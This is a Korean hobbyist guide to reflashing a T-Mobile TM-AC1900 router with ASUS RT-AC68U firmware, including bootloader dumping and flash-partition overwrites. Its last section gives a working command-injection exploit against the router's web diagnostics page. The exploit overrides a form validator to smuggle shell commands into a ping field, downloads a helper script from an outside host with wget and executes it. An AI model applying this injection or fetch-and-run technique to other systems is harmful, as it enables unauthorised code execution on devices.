TM-AC1900 펌웨어 덮어씌우기
면책사항
본 문서는 TM-AC1900 기기의 펌웨어를 조작하는 내용을 포함하며, 이러한 조작은 잠재적으로 기기를 망가뜨릴 수 있는 위험성을 가지고 있다. 독자가 본 문서의 내용을 참고함으로써 발생하는 모든 직/간접적인 결과는 독자의 책임이며, 필자는 이에 대해 어떠한 책임도 지지 않는다. 예를 들면, 기기가 고장나거나, 기기 고장으로 네트워크를 사용하지 못하여 발생한 결과에 대하여 필자에게 책임을 물을 수 없다는 것이다.
본 문서의 내용은 언제든 변경될 수 있으며, 언제나 정확한 내용을 포함한다고 보증하지 않는다. 잘못된 내용을 포함할 수 있으므로, 독자는 본 문서의 내용을 찬찬히 살펴보고, 문제가 없는지 파악한 뒤 작업해야 할 것이다.
본 문서는 독자가 기본적인 윈도우 네트워크 설정 및 리눅스 콘솔 사용법을 알고 있다고 전제하고 작성하였다. IP 설정 등을 모른다면 이 문서를 참고하면 안 된다. 그냥 아는 친구에게 밥 한 끼 사 주고 부탁하자.
정상 상태인 기기
여기에서 정상 상태라 함은, TM 펌웨어 376.3199로 롤백당하지 않은 상태를 의미한다. miniCFE로 부트하여 펌웨어 덮어씌우기가 가능한 상태면 어떻게든 끌고올라갈 수 있다.
롤백당한 경우 문서의 하단을 참고한다.
준비물
- TM-AC1900-376.1703 trx 파일을 검색해서 다운로드 한다.
- RT-AC68U-376.3626 trx 파일을 검색해서 다운로드 한다. ASUS 홈페이지에서는 이 파일을 더 이상 제공하지 않는다.
- ASUS 홈페이지에서 AC68U 최신 펌웨어 파일을 다운로드 한다.
mtd-write
바이너리 파일을 검색해서 다운로드한다. 필자는 버전2를 사용한다.- 윈도우에서 작업한다면 PuTTY 및 WinSCP 최신버전을 다운로드하여 설치한다. 맥이나 리눅스에서 작업하면 필요없다.
- OS에 의존하지는 않지만, 윈도우 환경을 기준으로 설명하므로 맥이나 리눅스에서 작업한다면 적절히 대체해서 작업하면 된다.
TM 펌웨어 다운그레이드
이 단락의 목표는 기기에 TM 펌웨어 376.1703을 설치하는 것이다. CFE 추출 및 개조 작업을 하려면 기기에 SSH 접속해야 하는데, TM 펌웨어 1703 버전이 SSH 접속을 지원하는 마지막 펌웨어이다. 이후 버전의 펌웨어는 SSH 접속이 차단되어 있다.
- 기기가 정상 상태이고 잘 작동하는지 확인한다. 필요한 경우 NVRAM 리셋을 수행한다.
- 기기의 LAN포트(노란색)와 컴퓨터를 연결한다. 기기의 WAN포트(파란색)는 아무것도 꽂지 않고 냅둔다.
- 컴퓨터의 IP주소
192.168.29.5
[1], 서브넷255.255.255.0
, 게이트웨이192.168.29.1
로 설정한다. - 기기를 miniCFE 모드로 진입하고, TM-AC1900-376.1703 펌웨어 파일을 올린다. 업로드는 대략 3분 정도 걸린다.
- 기기가 자동으로 재부팅된다. 웹 브라우저에서
192.168.29.1
을 열어서 설정 페이지에 접속한다. 기본값으로 ID=admin
, PW=password
를 사용한다. - 기본 설정은 다 건너뛰어도 된다. 관리 - 시스템 페이지에 들어가서 SSH를 활성화하고 저장한다.
CFE 추출 및 개조
이 단락의 목표는 기기의 CFE를 추출하고, 이를 AC68U의 것으로 교체하는 것이다. CFE는 컴퓨터의 BIOS처럼 전원을 켰을때 기기 점검 등을 담당하는 영역이다. CFE를 교체해야 AC68U 펌웨어를 설치할 수 있다.
- PuTTY를 실행하고, 기기에 ssh 접속한다. 보안 프로토콜이 구버전이라는 경고가 나지만 무시해도 된다. 로그인 ID, PW는 관리 페이지의 값을 그대로 사용한다.
cat /proc/mtd
및dmesg | grep 0x0000
명령어로 플래시 메모리 구조를 확인해 볼 수 있다.
cat /dev/mtdblock0 > original_cfe.bin
명령어로 CFE를 추출해 낸다.- 그 외에 시스템 파티션을 백업해도 된다. 별 필요는 없지만.
cat /dev/mtdblock2 > linux.bin
cat /dev/mtdblock4 > linux2.bin
cat /dev/mtdblock7 > asus.bin
- 그 외에 시스템 파티션을 백업해도 된다. 별 필요는 없지만.
- WinSCP를 실행하고, scp 프로토콜로 기기에 접속한다. 펌웨어가 구버전이라 sftp를 지원하지 않는다. WinSCP에서도 보안 프로토콜이 구버전이라는 오류가 나지만 무시해도 된다.
- WinSCP에서 original_cfe.bin 파일을 다운로드 받는다.
- 추가 백업을 했다면 그 파일들도 모두 다운로드 받는다. 그리고 추가 백업파일은 삭제한다.
- PuTTY 및 WinSCP를 종료하고, 컴퓨터를 인터넷에 직접 연결한다.
- CFEditor 사이트에 접속해서 CFE 파일을 개조하고 다운로드한다. 편의상 new_cfe.bin 으로 이름을 지정하여 다운로드한다.
- Source CFE는 US_1.0.2.0_AiMesh를 사용하면 된다.
- 국가와 Tx Power는 굳이 변경할 필요 없다.
- 다시 컴퓨터를 기기에 연결한다.[2]
- WinSCP를 실행하고, 기기에 접속한다. new_cfe.bin 파일, AC68U-376.3626 trx 파일과 mtd-write 파일을 기기에 업로드한다.
- PuTTY를 실행하고, 기기에 접속한다. CFE파일이 제대로 제작되었는지 확인한다.
grep mac ./original_cfe.bin ./new_cfe.bin
grep secret ./original_cfe.bin ./new_cfe.bin
두 파일에서 같은 MAC주소와 기본 비밀번호가 표시되어야 한다. 서로 다른값이 표시된다면 잘못 생성된 것이므로 4단계로 돌아간다. - mtd-write 파일에 실행 권한을 부여한다.
chmod +x mtd-write
./mtd-write
mtd-write 사용 설명이 표시되어야 한다.
플래싱
이 단락의 내용은 잘못 수행하는 경우 기기를 고장낼 수 있으므로 유의한다.
전원 공급이 불안정하면 기기가 벽돌이 될 수 있으므로 유의한다.
이 단락의 목표는 다음과 같다.
- T-Mobile 인증서 영역 삭제. T-Mo 인증서가 남아있으면 기기가 TM 펌웨어 376.3199로 롤백당한다.
- CFE 덮어씌우기. 기기 모델명을 AC68U로 변경하는 것이다.
- ASUS 펌웨어 376.3626 설치하기.
추가적으로 TM 펌웨어 백업영역도 삭제할 것이다.
T-Mo 인증서 영역 삭제하기
T-Mo 인증서는 플래시메모리의 마지막 1.25MiB 영역에 저장된다. 이를 깡그리 밀어버릴 것이다. mtd-erase로 지워지면 편한데 안되므로, 더미파일을 작성해서 0xFF로 밀어버릴 것이다.
- 0xFF로 채워진 1.25MiB 크기의 더미파일을 작성한다.
dd if=/dev/zero ibs=1k count=1280 | tr "\000" "\377" > paddedFile.bin
- T-Mobile 인증서 영역을 언마운트 한다.
umount /T-Mobile
- dd로 인증서 영역을 밀어버린다. 이 때 대상 블럭에 주의한다[3].
dd if=paddedFile.bin of=/dev/mtdblock7
- 다시 마운트해서 인증서 파일이 남아있는지 확인해 본다.
mkdir asus && mount -t jffs2 /dev/mtdblock7 ./asus
ls -al ./asus/
아무런 파일도 존재하지 않아야 한다.
linux2 파티션 삭제하기
이 영역에는 TM 구형 펌웨어가 저장된다. 포맷 이후에도 찌꺼기가 남으면 찝찝하니 밀어주자. 안 해도 된다.
mtd-erase2 linux2
명령어를 입력한다. 30초쯤 걸리며 아무런 출력 없이 커서가 돌아올 것이다.
CFE 플래싱
이 영역에는 CFE가 저장된다. 개조한 AC68U의 CFE로 덮어씌울 것이다.
./mtd-write -i new_cfe.bin -d boot
명령을 입력한다. 2~3초쯤 걸리며 아무런 출력 없이 커서가 돌아올 것이다.
linux 파티션 플래싱 및 재부팅
이 영역에는 펌웨어 파일이 저장된다. TM 펌웨어를 밀어버리고 AC68U의 것으로 직접 덮어씌울 것이다.
이 때 사용하는 명령어는 mtd-write2 이며, CFE 플래싱을 위한 mtd-write 가 아니므로 주의한다. mtd-write를 사용하면 CRC fail이 뜨며, 기기가 반벽돌이 될 것이다. 이 때는 miniCFE에서 복구해야 한다.
mtd-write2 FW_RT_AC68U_30043763626.trx linux
명령어를 입력한다. 30초쯤 걸리며 linux: CRC OK 결과가 출력되어야 한다.- 이후 10초정도 더 기다려서 쓰기작업이 끝나기를 기다린다.
- 시스템영역을 덮어썼기 때문에, 기기가 정상적으로 작동하지 않는다. 이제 기기의 전원을 끈다.
마무리 작업
- 컴퓨터 IP주소를 DHCP설정으로 되돌린다.
- 기기의 NVRAM 초기화를 수행한다.
- 컴퓨터에서 브라우저로
192.168.1.1
에 접속하여 AC68U 펌웨어가 정상적으로 잡히는지 확인한다. - 최신 펌웨어로 업그레이드 하거나 개조 펌웨어를 설치해서 쓰면 된다.
추가정보 : MTD blocks
기기 내부의 플래시메모리는 128MiB이며, 커널에서 mtdblock장치로 구분되어 마운트 된다.
이 때 주소에 따른 MTD block 구성은 다음과 같다.
롤백 상태의 기기
source : https://docs.google.com/document/d/1NsZMONmJ70zMmoAKKQJXbTVKytaPJptWTpqih1TD5n8/edit
펌웨어 덮어쓰기 작업에서 T-Mo 인증서 영역을 제대로 정리하지 않은 경우, ASUS 펌웨어 384.20648 및 이후 버전을 설치하면 TM 펌웨어 376.3199 및 CFE 2.1.2.7로 롤백되며, miniCFE 펌웨어 업그레이드 및 시리얼콘솔을 이용한 개조작업이 모두 막히게 된다.
다만 TM 펌웨어 376.3199의 보안이 좀 병맛이라, 보안구멍을 이용하여 펌웨어 덮어쓰기가 가능할 수는 있다. 경우에 따라 안 될 수도 있으므로 주의할 것.
- USB 메모리를 준비하고, FAT32로 포맷한다. 디스크 이름도 USB로 바꾼다.
- TM-AC1900-376.1703 trx 파일을 USB로 복사하고, 편의상 파일이름을
firmware1703.trx
로 변경한다. - 기기를 NVRAM 초기화하고 LAN포트(노란색)은 컴퓨터에, WAN포트(파란색)은 인터넷에 연결한다.
- 위에서 제작한 USB를 기기의 USB2.0 포트(검정색)에 꽂는다.
- 크롬이나 파이어폭스를 이용해서 공유기 설정 페이지에 접속한다.
- 네트워크 도구 - 분석으로 들어가고, F12를 눌러서 브라우저의 관리자 개발자 도구를 켠다. Method에 ping이 선택되어 있어야 한다.
- 개발자 도구에서 자바스크립트 콘솔을 열고, 다음 명령을 입력한다.
validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}
- 개발자 도구를 열어둔 상태로, 웹페이지에서 분석 버튼을 누른다.
- 결과창에 'hello world'라고 떠야 한다. 안 뜨면 이 방법을 적용할 수 없다.
- 다음 명령으로 위 과정을 반복한다.(콘솔에 명령어 넣은 후 웹페이지 분석 클릭)
validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs userRpm";return true;}
validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}
출력내용 중tmpfs on /web/useRpm
라는 내용이 있어야 한다.validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;}
출력내용 중recursion detected, omitting useRpm
라는 내용이 있어야 한다.validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return true;}
validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}
출력내용 중tmpfs on /web
라는 내용이 있어야 한다.validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return true;}
validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}
출력내용 중u.txt downloaded
라는 내용이 있어야 한다.validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent("find /tmp/mnt -name firmware1703.trx" ).replace(/%/g,"..");return true;}
출력내용 중/tmp/mnt/USB/firmware1703.trx
식의 내용이 있어야 한다. 덮어씌울 펌웨어 파일의 경로이므로 복사해 둔다.validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent("mtd-write2 /tmp/mnt/USB/firmware1703.trx linux").replace(/%/g,"..");return true;}
펌웨어 덮어씌우는 명령이다. 당연하지만 경로를 위에서 찾은 것으로 적절히 변경해 주어야 한다. 결과가 뜰 때까지 시간이 조금 걸리며,CRC OK
가 뜰 때까지 기다린다.
- 기기 전원을 끄고 NVRAM 초기화한다.
- 재부팅하면 TM 펌웨어 376.1703으로 다운그레이드 되었을 것이다. CFE도 롤백되므로, CFE 추출부터 다시 진행하면 된다.
u.txt
sh -x -c "`echo "$*"|sed -e 's,[.][.]\([0-9A-F][0-9A-F]\),%\1,g' -e 's,%20, ,g' -e 's,%23,#,g' -e 's,%24,$,g' -e 's,%2F,/,g' -e 's,%3A,:,g' -e 's,%3B,;,g' -e 's,%3C,<,g' -e 's,%3D,=,g' -e 's,%3E,>,g' -e 's,%5F,_,g' -e 's,%25,%,g' `"